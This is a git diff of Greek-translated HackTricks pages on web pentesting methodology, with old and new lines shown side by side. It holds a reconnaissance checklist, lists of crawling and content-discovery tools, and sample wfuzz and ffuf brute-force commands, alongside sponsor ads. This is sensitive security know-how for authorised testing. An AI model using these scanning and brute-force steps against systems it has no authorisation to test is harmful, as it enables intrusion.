<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας στο διαδίκτυο, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -148,7 +152,7 @@ guest guest
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,17 +15,19 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_). #### Get a hacker's perspective on your web apps, network, and cloud
{% embed url="https://www.stmcyber.com/careers" %} **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Info ## Basic Info
Η υπηρεσία ιστού είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**. Η υπηρεσία ιστού είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**.
**Default port:** 80 (HTTP), 443(HTTPS) **Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS)
```bash ```bash
PORT STATE SERVICE PORT STATE SERVICE
80/tcp open http 80/tcp open http
@ -44,15 +46,15 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Methodology summary ## Methodology summary
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή subdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής. > Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα τομέα (ή υποτομέα) και μόνο σε αυτόν. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέντα τομέα, υποτομέα ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
* [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία. * [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
* [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας; * [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
* [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες; * [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
* [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** για να τρέξετε (όπως το wpscan); * [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που πρέπει να τρέξετε (όπως το wpscan);
* [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες. * [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
* [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS). * [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS).
* [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**. * [ ] Ξεκινήστε **spidering** της ιστοσελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
* [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._ * [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._
* [ ] **Directory Brute-Forcing**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**. * [ ] **Directory Brute-Forcing**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**.
* [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._ * [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
@ -81,9 +83,9 @@ Search **for** [**ευπάθειες της έκδοσης της διαδικτ
* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) * [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) * [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web tech tricks ### Τεχνάσματα διαδικτύου
Ορισμένα **tricks** για **να βρείτε ευπάθειες** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται: Ορισμένα **τεχνάσματα** για **να βρείτε ευπάθειες** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) * [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md) * [**Apache**](apache.md)
@ -105,7 +107,7 @@ Search **for** [**ευπάθειες της έκδοσης της διαδικτ
* [**Laravel**](laravel.md) * [**Laravel**](laravel.md)
* [**Moodle**](moodle.md) * [**Moodle**](moodle.md)
* [**Nginx**](nginx.md) * [**Nginx**](nginx.md)
* [**PHP (το php έχει πολλά ενδιαφέροντα tricks που θα μπορούσαν να εκμεταλλευτούν)**](php-tricks-esp/) * [**PHP (το php έχει πολλά ενδιαφέροντα τεχνάσματα που θα μπορούσαν να εκμεταλλευτούν)**](php-tricks-esp/)
* [**Python**](python.md) * [**Python**](python.md)
* [**Spring Actuators**](spring-actuators.md) * [**Spring Actuators**](spring-actuators.md)
* [**Symphony**](symphony.md) * [**Symphony**](symphony.md)
@ -118,15 +120,15 @@ Search **for** [**ευπάθειες της έκδοσης της διαδικτ
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/) * [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\ _Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
Αν η διαδικτυακή εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε παραπάνω** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **αναζητήσετε στο Διαδίκτυο** νέες τεχνικές (και ενημερώστε με!). Αν η διαδικτυακή εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε παραπάνω** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **ψάξετε στο Διαδίκτυο** για νέες τεχνικές (και ενημερώστε με!).
### Ανασκόπηση Κώδικα ### Ανασκόπηση Κώδικα
Αν ο **κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση ενός **White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**: Αν ο **κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
* Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **πληροφορίες έκδοσης προσβάσιμες** μέσω διαδικτύου; * Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **πληροφορίες έκδοσης προσβάσιμες** μέσω διαδικτύου;
* Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς); * Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς);
* Είναι οι **κωδικοί** σε **καθαρό κείμενο**, **κρυπτογραφημένοι** ή ποιος **αλγόριθμος hashing** χρησιμοποιείται; * Είναι οι **κωδικοί** σε **καθαρό κείμενο**, **κρυπτογραφημένοι** ή ποιος **αλγόριθμος κατακερματισμού** χρησιμοποιείται;
* Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποιος **αλγόριθμος** χρησιμοποιείται; * Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποιος **αλγόριθμος** χρησιμοποιείται;
* Μπορείτε να **πρόσβαση σε οποιοδήποτε από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια; * Μπορείτε να **πρόσβαση σε οποιοδήποτε από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια;
* Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **ιστορία commit** (ίσως κάποιο **password που εισήχθη σε ένα παλιό commit**) ; * Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **ιστορία commit** (ίσως κάποιο **password που εισήχθη σε ένα παλιό commit**) ;
@ -172,7 +174,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### Αρχικές ελέγχοι ### Αρχικές ελέγχοι
**Προεπιλεγμένες σελίδες με ενδιαφέροντα πληροφορίες:** **Προεπιλεγμένες σελίδες με ενδιαφέροντα στοιχεία:**
* /robots.txt * /robots.txt
* /sitemap.xml * /sitemap.xml
@ -183,12 +185,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Εξαναγκασμός σφαλμάτων** **Εξαναγκασμός σφαλμάτων**
Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή **αποκάλυψη ευαίσθητων πληροφοριών**. Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή **να αποκαλύψει ευαίσθητες πληροφορίες**.
* Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever\_fake.php (.aspx,.html,.κλπ) * Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever\_fake.php (.aspx,.html,.κλπ)
* **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα * **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
* Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL** * Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL**
* Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE * Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λανθασμένα όπως FAKE
#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)** #### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
@ -218,35 +220,35 @@ Information about SSL/TLS vulnerabilities:
### Spidering ### Spidering
Λάβετε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους. Λανσάρετε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για αρχεία JS και Archive.org ως εξωτερική πηγή. * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFinder για αρχεία JS και Archive.org ως εξωτερική πηγή.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files". * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org. * [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org.
* [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλώς να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με δρόμους και το meg θα ανακτήσει κάθε δρόμο σε κάθε host και θα αποθηκεύσει την απάντηση. * [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλά να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες απόδοσης JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται. * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες rendering JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
* [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl). * [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει. * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες απόδοσης JS. * [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες rendering JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα άξιζε επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder. * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα άξιζε επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas. * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται. * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία. * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, αρκετά εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία. * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
* [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS. * [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα. * [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτωθεί η σελίδα.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων. * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS. * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS. * [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο. * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη wayback και αναζητώντας περισσότερους συνδέσμους). * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regexes. * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regex.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας. * [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript. * [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση. * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό. * [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό.
* [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει. * [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που είναι ικανό να βρει.
### Brute Force directories and files ### Brute Force directories and files
@ -260,14 +262,14 @@ Information about SSL/TLS vulnerabilities:
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Γρήγορο: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- Γρήγορο: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που δίνοντας τη λίστα των βρεθέντων URLs θα διαγράψει τα "διπλά" URLs. * [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που δίνοντας τη λίστα των βρεθέντων URLs θα διαγράψει τα "διπλά" URLs.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Επέκταση Burp για τη δημιουργία λίστας φακέλων από την ιστορία burp διαφόρων σελίδων. * [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Επέκταση Burp για να δημιουργήσει μια λίστα φακέλων από την ιστορία burp διαφόρων σελίδων.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλές λειτουργίες (βάσει js imports). * [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλές λειτουργίες (βάσει js imports).
* [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις χρησιμοποιούμενες τεχνολογίες και να επιλέξει τις λίστες λέξεων που θα χρησιμοποιηθούν. * [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις χρησιμοποιούμενες τεχνολογίες και να επιλέξει τις λίστες λέξεων που θα χρησιμοποιηθούν.
**Συνιστώμενα λεξικά:** **Συνιστώμενα λεξικά:**
